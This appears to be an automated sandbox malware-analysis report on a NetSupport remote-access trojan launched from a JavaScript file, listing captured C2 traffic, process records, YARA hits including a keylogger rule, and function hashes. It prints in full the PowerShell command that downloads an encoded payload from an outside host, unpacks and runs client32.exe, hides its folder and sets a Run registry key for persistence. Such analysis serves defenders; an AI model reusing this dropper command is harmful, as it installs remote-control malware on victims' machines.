Jul 16, 2024 22:29:49.385523081 CEST	672	IN	Data Raw: 7a 6c 7a 54 54 4b 45 66 47 4d 59 30 32 52 45 63 48 44 59 70 4c 44 68 59 6b 61 4d 6a 6d 4f 74 7a 64 54 50 46 70 55 4e 33 30 67 2f 6a 69 75 77 49 5a 69 65 65 5a 55 64 77 4f 4e 66 76 62 4b 62 41 57 35 33 4e 4f 6e 59 50 44 71 4d 53 65 51 31 6c 42 58 Data Ascii: zlzTTKEfGMY02REcHDYpLDhYkaMjmOtzdTPFpUN30g/jiuwIZieeZUdwONfvbKbAW53NOnYPDqMSeQ1lBXbi1Ui/d2eFmPEqPbuHhYVyYw1NsKqN9nt3biY9u08KCw0NVSI0dHaYvC5ZCZ3N9Hu/8847nTsrq/X8T2h4+OzWZJ5Cv7dS3unZI3Te7PD54Q2YHS4/WDZ8CdNvKu/0WjB/3vzZ88Pns1/E7PkREXRhKTrmzyf75qT
Jul 16, 2024 22:29:49.385540009 CEST	1236	IN	Data Raw: 32 59 30 72 43 6a 6c 36 56 61 61 30 72 37 43 73 66 48 53 75 6e 53 4b 33 6e 35 2f 58 4b 43 56 4d 50 34 6d 71 70 45 69 5a 67 70 54 2f 4f 46 4b 6b 4b 56 7a 2f 30 4e 35 4d 2b 63 4e 6d 30 44 6b 6a 49 33 4e 2f 61 68 4a 76 49 53 6c 46 4b 75 58 36 4b 56 Data Ascii: 2Y0rCjl6Vaa0r7CsfHSunSK3n5/XKCVMP4mqpEiZgpT/OFKkKVz/0N5M+cNm0DkjI3N/ahJvISlFKuX6KVJ25qeUM9Qf6kYTOXL+XOvy+3F4VkEuig284PX1n7oq33svxScxq6b7VLWW96lsj+o6ZhC4j7UAj/FD4OMhI2HoUCv4X6vRMJD2phYjxsOQkbbyPar1CL5HHTVqNIwZMwYmTJgAXnZW4G0/HIaPdaA96kQY6+jB96d
Jul 16, 2024 22:29:49.385649920 CEST	1236	IN	Data Raw: 45 75 45 50 4b 4c 68 2f 48 55 72 75 58 59 57 53 42 39 64 70 6e 33 6f 58 43 6e 4a 75 51 30 45 2b 32 36 2f 65 68 64 7a 38 2b 35 43 66 54 2f 65 4b 63 71 47 6f 71 41 69 4b 53 6f 75 67 6f 69 51 66 38 6b 75 4b 61 63 39 61 44 65 58 6c 35 56 42 58 52 58 Data Ascii: EuEPKLh/HUruXYWSB9dpn3oXCnJuQ0E+26/ehdz8+5CfT/eKcqGoqAiKSougoiQf8kuKac9aDeXl5VBXRXvWmkoorq2Dsrp6qKTgUFNTA7K6GsU+9e23U/iR/MXCL0kWLuQn+XkvgL6+vgY/1FXHDhtrNbZ/f37qP9aaznb7UvQ1FKKuMshqbL9+n20Y06/fuP+O69dvzIYI60UpBo3lY1n5jZKg3n3Oym706R1Ucdv66zR9Jrx
Jul 16, 2024 22:29:49.385667086 CEST	1236	IN	Data Raw: 4e 63 31 4f 32 4a 44 58 45 36 69 70 71 52 6b 30 35 45 30 45 4c 4b 39 6d 4b 73 2b 72 64 4e 53 56 35 33 56 51 53 36 32 68 76 77 72 35 2b 2f 77 6a 41 69 38 6f 76 61 42 78 6a 79 68 51 2f 6d 4d 4a 4c 51 45 38 6a 61 69 72 71 32 75 71 71 4b 69 38 6f 61 Data Ascii: Nc1O2JDXE6ipqRk05E0ELK9mKs+rdNSV53VQS62hvwr5+/wjAi8ovaBxjyhQ/mMJLQE8jairq2uqqKi8oaqq2uNVhraGytv6moJ39F7jidBQFXQ21hFowVOKpqbmG4SPtbW1h2lpab2S0NHRHWZqoG79ZjuVEZ1f44lor6vyvx31VTr/He8Uj0yMjIxmvf3221kffPBB2Ycffljbr1+/mlcNffr0qRk2YmTNlFHda5eNUqtbOkb
Jul 16, 2024 22:29:49.385682106 CEST	672	IN	Data Raw: 37 39 2b 37 68 2f 66 76 33 73 57 38 6f 6e 4b 38 66 76 34 55 53 6f 4e 36 34 58 59 37 4a 66 39 50 59 5a 50 6d 34 61 69 4a 61 6e 67 69 4e 68 4b 4c 61 68 46 7a 38 67 72 78 48 74 6d 37 66 2b 38 75 5a 75 66 6b 59 58 37 46 51 7a 79 64 74 67 6d 33 32 71 Data Ascii: 79+7h/fv3sW8onK8fv4USoN64XY7Jf9PYZPm4aiJangiNhKLahFz8grxHtm7f+8uZufkYX7FQzydtgm32qnQnK35dHY5/wJMoTF+9y717959blNu9z7mFlVi5hIh12FzS9O6SRT7pSL9Bv20006V8z/jnn3/YX7wrPjX+Hd9HxPcNDHeQ69tQPF/2wTAk7FLMLewjPjJwQcPHuCD+/cxv6QSb1w8g0nBvTB6ImC8UP8p7On
Jul 16, 2024 22:29:49.385858059 CEST	1236	IN	Data Raw: 69 48 39 52 6d 2f 50 2f 49 6e 67 70 2f 4c 76 33 77 55 52 33 4c 66 36 75 32 67 53 30 54 34 75 69 64 33 38 71 76 70 48 2f 48 46 6f 44 35 42 42 48 68 57 58 56 65 4f 76 79 57 55 79 6d 50 56 63 4d 7a 65 6b 4a 49 6f 4f 57 62 64 44 39 65 4e 70 48 52 44 Data Ascii: iH9Rm/P/Ingp/Lv3wUR3Lf6u2gS0T4uid38qvpH/HFoD5BBHhWXVeOvyWUymPVcMzekJIoOWbdD9eNpHRDtp4sXDyRTbyznHT4Oiynq8cEiKsR4GGEd7zARh623EOqlg2uzW+d8XKeI6CR56zeruoNif7KXg3+Cf4/9F8E/z/wvxX1BaiXn5+ZhLsTmXfKCovAb//P3Xv+HfABPp/jbaQx78Jph8iM0hCh9qAuZXDb6lBPGfm19
Jul 16, 2024 22:29:49.385875940 CEST	1236	IN	Data Raw: 6e 32 4d 4b 43 67 6f 62 66 49 65 6c 69 36 75 66 77 4c 2f 50 30 2f 50 2f 4a 50 79 62 2f 46 73 4f 48 59 71 75 48 6c 37 45 2f 77 66 79 76 32 64 34 47 72 59 4e 52 41 5a 38 33 58 31 57 75 68 4a 4c 4b 64 34 58 6c 35 52 67 55 56 46 52 49 2f 2f 58 4c 68 Data Ascii: n2MKCgobfIeli6ufwL/P0/P/JPyb/FsOHYquHl7E/wfyv2d4GrYNRAZ83X1WuhJLKd4Xl5RgUVFRI//XLhL/vYl/4s/LqKEey+8MG4S5D+5hWVUt6cvHuxzEI60lCopKcd9iF25fziXjUB130ho+j+yXlJYTd819oKikFLPv3cXUGf25f0m9jXk91javO9eqRf5Lqh/ioRU+XEcqatfsGVOJ+x0+RsS/BvGv9tz8vwjaiv//Ev/
Jul 16, 2024 22:29:49.390364885 CEST	1236	IN	Data Raw: 34 38 66 34 5a 39 79 50 48 54 73 57 6d 52 38 6f 38 61 7a 38 2f 6c 4f 2b 30 38 43 2f 71 42 2b 6d 65 4f 6e 78 73 64 67 6d 38 4b 62 35 33 41 48 77 51 75 6f 61 50 6e 59 72 57 44 79 6d 47 46 42 4f 6e 4e 62 51 2b 69 7a 6e 39 6d 58 63 4f 65 4d 44 54 4c Data Ascii: 48f4Z9yPHTsWmR8o8az8/lO+08C/qB+meOnxsdgm8Kb53AHwQuoaPnYrWDymGFBOnNbQ+izn9mXcOeMDTLCntbi4I967chqrmZ8oeG9AeQX3l+ObQjDeWZVz/7dtexlx3zu+aQatF2uxvKqK+1HTmEJhHa+f2kNtd8B4igPMF0pKWJvlDTosXUVtH/3Gl+YnTXomo2bt7JSQD0hMnor/F8XL8oVhw4eju6cYl3D+DRTvtw3gbaT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	94.158.245.103	443	7608	C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 22:29:54.264338017 CEST	220	OUT	POST http://94.158.245.103/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 94.158.245.103Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.26.0.231	80	7608	C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 22:29:54.308444977 CEST	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Jul 16, 2024 22:29:54.986241102 CEST	935	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 20:29:54 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8a44bf40fbfb72b6-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDSQQQBSDC=IFPBDAEDNBAFCBIHKENAOEJI; path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Accept-Encoding cf-apo-via: origin,host Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sQgBunYVMWADp8NyCXN9DaMz9ir0PVCnqDu8wtOt%2F1nRDT1KFN%2BEKFprkehrzhd8ageLegEa6Atp2KyF42H1miXYW%2BTZKKgS5qE4nhTeY%2BjY2BFrdhy26YXmGQohUiJggd0HOLHmP1PT2oei"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare Data Raw: 31 30 0d 0a 34 30 2e 37 33 35 37 2c 2d 37 34 2e 31 37 32 34 0d 0a 30 0d 0a 0d 0a Data Ascii: 1040.7357,-74.17240

Target ID:	0
Start time:	16:29:40
Start date:	16/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js"
Imagebase:	0x7ff7ab6f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC, Description: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution, Source: 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:29:45
Start date:	16/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.1816720389.00000170BABCF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:29:45
Start date:	16/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:29:52
Start date:	16/07/2024
Path:	C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe"
Imagebase:	0x950000
File size:	103'824 bytes
MD5 hash:	C4F1B50E3111D29774F7525039FF7086
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000002.2968386737.0000000000952000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000002.2969282587.00000000037E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000002.2971125252.000000006F160000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000000.1780896953.0000000000952000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe, Author: Joe Security
Antivirus matches:	Detection: 26%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	16:30:05
Start date:	16/07/2024
Path:	C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe"
Imagebase:	0x950000
File size:	103'824 bytes
MD5 hash:	C4F1B50E3111D29774F7525039FF7086
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.1909048492.00000000111E2000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.1907401442.0000000000952000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.1907824908.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000000.1905398866.0000000000952000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:30:13
Start date:	16/07/2024
Path:	C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe"
Imagebase:	0x950000
File size:	103'824 bytes
MD5 hash:	C4F1B50E3111D29774F7525039FF7086
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000000.1986528123.0000000000952000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000002.1988466728.00000000111E2000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000002.1988422325.0000000011194000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000002.1988422325.0000000011194000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000002.1987638721.0000000000952000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00007FFD9B927070 Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9B92718D

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 97b0bc1dcfaf3c675acf4ebf4086a9df88b213e9f33c525e3039dada1183976c
Instruction ID: 089a709fc95a996a04b2314280f3183cc6cbd3c35f4361e31cab1bb517ee0008
Opcode Fuzzy Hash: 97b0bc1dcfaf3c675acf4ebf4086a9df88b213e9f33c525e3039dada1183976c
Instruction Fuzzy Hash: 41916931B1DA5D0FD768EB6CA825AB57BD1EF99310F1501BBE08DC72A7C9189D828381

Function 00007FFD9B9267E8 Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B92A48E

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: d2d5bd4cdb5592cb8b41575762221437433e78d053893009b9fb3907f4e46273
Instruction ID: c78c878dd32e127d0c074867c8ee6490a0e913d1de64b7ae5fd7e7b193fc9f85
Opcode Fuzzy Hash: d2d5bd4cdb5592cb8b41575762221437433e78d053893009b9fb3907f4e46273
Instruction Fuzzy Hash: DD514B22F1EA4D1FEBA5A67C58796B93BC1DF55210B0600BBD44EC32F3DD19AD468341

Function 00007FFD9B926000 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B92A2DC

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 234699d8e261968b02da389d71b6b68bb6775aed118c0f0105dbd85e50f19cd2
Instruction ID: 037927820792dd7910aeac96e7b708f05291b7322a57a1ab94046ac33eaf237f
Opcode Fuzzy Hash: 234699d8e261968b02da389d71b6b68bb6775aed118c0f0105dbd85e50f19cd2
Instruction Fuzzy Hash: 2E412832F1994E5FEBA4EA6894653BD73D1EF98310F410179E40ED32E2DE296D468381

Function 00007FFD9B92A4C8 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B92A48E

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 8bef9cbcada5e79c9da10fc0bfa71cafd23e90711be8b58cc7a2fbbc341314d7
Instruction ID: d4ac4a36de4ad04086044e1b10802e2b393182ac19731d4972d27d4ff04b284d
Opcode Fuzzy Hash: 8bef9cbcada5e79c9da10fc0bfa71cafd23e90711be8b58cc7a2fbbc341314d7
Instruction Fuzzy Hash: E4214721F1EB4D0FEBA4A67C487967937C1DF98210B06057BD44EC32F2CD19AD424381

Function 00007FFD9B926268 Relevance: .6, Instructions: 614COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2a0010cac617d31eeb8b081e8ab6599bba5330f5936c0c03fd83ef55794ce81
Instruction ID: da356d2d973e08b1c34e7609aacbc98989e59f4dc0ee18c4d56ea3f646cc0936
Opcode Fuzzy Hash: b2a0010cac617d31eeb8b081e8ab6599bba5330f5936c0c03fd83ef55794ce81
Instruction Fuzzy Hash: 26224C34A1894D8FDF98EF1CC898AA977E1FF69301B0501A9E85ED72A1DB35EC41CB40

Function 00007FFD9B92AB8D Relevance: .6, Instructions: 554COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33751481380092fcb8e021a8e573f17843207d24cfac7690df5d5f7d2538656
Instruction ID: f4f665b8fbb91dd3a44cf3b40206167916b6c1775669f104be405a3a64c0acc4
Opcode Fuzzy Hash: b33751481380092fcb8e021a8e573f17843207d24cfac7690df5d5f7d2538656
Instruction Fuzzy Hash: 3A41F417F1F6DA6FE77292B858752A83FE1AF52210B1A00FBD0D8CB1A3D90869468341

Function 00007FFD9B9F491E Relevance: .5, Instructions: 520COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1885028233.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39340d1696e07d66a969a97a7976e28fc84afa56cb2eaf3ae01f1b52e757e8e1
Instruction ID: e7da2b55997f94d31e8164201ead13ee3519f22f2bb65420578dd00338ac7703
Opcode Fuzzy Hash: 39340d1696e07d66a969a97a7976e28fc84afa56cb2eaf3ae01f1b52e757e8e1
Instruction Fuzzy Hash: 71F12722B1FBC91FE7A6977948656A47FE0EF52260B0A01FFD08DC72E3D918AD458341

Function 00007FFD9B9F356D Relevance: .4, Instructions: 413COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1885028233.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74caac95f9076e8c60bfa1c144233e1efac3eaed07ef7b3769bc3e4ca90af7ce
Instruction ID: 02c256d13c662fbad4803233d89e0f50b3e21aac4425062096e5078d2ebe2aab
Opcode Fuzzy Hash: 74caac95f9076e8c60bfa1c144233e1efac3eaed07ef7b3769bc3e4ca90af7ce
Instruction Fuzzy Hash: 8BD14571B1EA8E1FEBA5EB6888655B87FE0EF55320B0900BFD05DC71F2DA18AD058341

Function 00007FFD9B92860D Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec5d77f9618c2be33d022b67516084a43b0e48a2ea7bce50387e314ae37a594d
Instruction ID: acfc8e193b5cc06496831d1c59af3436510aa2d7f4558fae701c2020bec63107
Opcode Fuzzy Hash: ec5d77f9618c2be33d022b67516084a43b0e48a2ea7bce50387e314ae37a594d
Instruction Fuzzy Hash: A3711631F2E94C5FDB65E76888A56B877E1EF85300F0500BAD44EC76A7DE28AD428781

Function 00007FFD9B926D6D Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e62847ec29814c21ec8f73062ba1a7a506cbbad73b15831848ed9dcf32c5d09
Instruction ID: fab6be2d100a703dea8fd624d5df2bec65cc2c886426389b4b796aeb1ad6b5ca
Opcode Fuzzy Hash: 2e62847ec29814c21ec8f73062ba1a7a506cbbad73b15831848ed9dcf32c5d09
Instruction Fuzzy Hash: 7771C621F29D1E4BEBA4F7AC8825ABD63D2EF54700B514175D05EC3AE6DE28BD428380

Function 00007FFD9B9F080E Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1885028233.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f5750bbf342c98e23ddda25db7cacbbbbd6a4a88419963e7acb26adcaaf2e6f
Instruction ID: 67f496b0552f505f11221dc7a3d54f6e4845be269c8b33e1d187eac0fc6a77c4
Opcode Fuzzy Hash: 8f5750bbf342c98e23ddda25db7cacbbbbd6a4a88419963e7acb26adcaaf2e6f
Instruction Fuzzy Hash: EF613B22B1FA9B1FF7B99BA814712B56BC1DF95630B4A00BED05EC31E7ED09AD448341

Function 00007FFD9B92793C Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78dd8a82f3441ba393985f2d2f41f3a1ce5b37e86a1b74f5d7d8d0f0359e8465
Instruction ID: a386db2e6a65b82dddfa74538446eba00fc812b307e520c0b2ee70cdd20883ad
Opcode Fuzzy Hash: 78dd8a82f3441ba393985f2d2f41f3a1ce5b37e86a1b74f5d7d8d0f0359e8465
Instruction Fuzzy Hash: 7061C621F2E90E1AEB68ABB848717BD63D2EF88354F5640B9D05ED32D7DD2DAD024341

Function 00007FFD9B9F49EF Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1885028233.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cdb3538f764069d3cda79e1166b72103c7f0c541b573eb93b8991fb356a36d8
Instruction ID: e2dd301c4ac9ae78dbbb5570ef9bb2eca6678c8ea40315ccc0522213a9841bbc
Opcode Fuzzy Hash: 5cdb3538f764069d3cda79e1166b72103c7f0c541b573eb93b8991fb356a36d8
Instruction Fuzzy Hash: D8610B22F2FA8A1FE7B49A7A04B47786BD1EF64261B1A00BDD45DC72E7DD189C418341

Function 00007FFD9B927315 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

